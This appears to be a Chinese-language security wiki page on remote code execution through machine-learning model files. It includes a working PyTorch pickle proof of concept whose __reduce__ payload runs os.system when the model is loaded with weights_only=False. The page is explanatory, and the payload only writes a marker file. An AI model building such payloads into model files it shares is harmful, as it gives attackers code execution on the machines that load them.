Models RCE

Reading time: 6 minutes

Loading models to RCE

机器学习模型通常以不同格式共享，例如 ONNX、TensorFlow、PyTorch 等。这些模型可以加载到开发者的机器或生产系统中使用。通常情况下，模型不应包含恶意代码，但在某些情况下，模型可以被用来在系统上执行任意代码，作为预期功能或由于模型加载库中的漏洞。

在撰写时，这里有一些此类漏洞的示例：

此外，还有一些基于 Python pickle 的模型，例如 PyTorch 使用的模型，如果不使用 weights_only=True 加载，则可能会在系统上执行任意代码。因此，任何基于 pickle 的模型可能特别容易受到此类攻击，即使它们未在上表中列出。

示例：

• 创建模型：

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• 加载模型：

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error